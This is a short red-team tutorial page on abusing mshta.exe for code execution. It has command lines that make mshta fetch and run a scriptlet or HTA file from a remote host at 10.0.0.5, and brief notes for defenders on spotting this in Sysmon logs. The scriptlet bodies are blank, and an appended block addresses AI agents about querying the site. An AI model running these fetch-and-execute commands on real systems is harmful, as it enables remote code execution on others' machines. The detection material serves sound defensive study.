# MSHTA ## Execution Writing a scriptlet file that will launch calc.exe when invoked: {% code title="" %} ```markup ``` {% endcode %} Invoking the scriptlet file hosted remotely: {% code title="attacker\@victim" %} ```csharp # from powershell /cmd /c mshta.exe javascript:a=(GetObject("script:http://10.0.0.5/m.sct")).Exec();close(); ``` {% endcode %} ## Observations As expected, calc.exe is spawned by mshta.exe. Worth noting that mhsta and cmd exit almost immediately after invoking the calc.exe: ![](/files/-LHKCYjhpCr1FQH8FZdr) As a defender, look at sysmon logs for mshta establishing network connections: ![](/files/-LHKEILHR5pBRaB5KGNc) Also, suspicious commandlines: ![](/files/-LHKE-qfgAQ6ampZ5gu6) ## Bonus The hta file can be invoked like so: ```csharp mshta.exe http://10.0.0.5/m.hta ``` ![](/files/-LHKNDhiNyaEpAD1k6EM) or by navigating to the file itself, launching it and clicking run: ![](/files/-LHKOJ_6AwX7wGoW84pc) {% code title="" %} ```markup Nothing to see here.. ``` {% endcode %} ## References {% embed url="" %} --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://www.ired.team/offensive-security/code-execution/t1170-mshta-code-execution.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.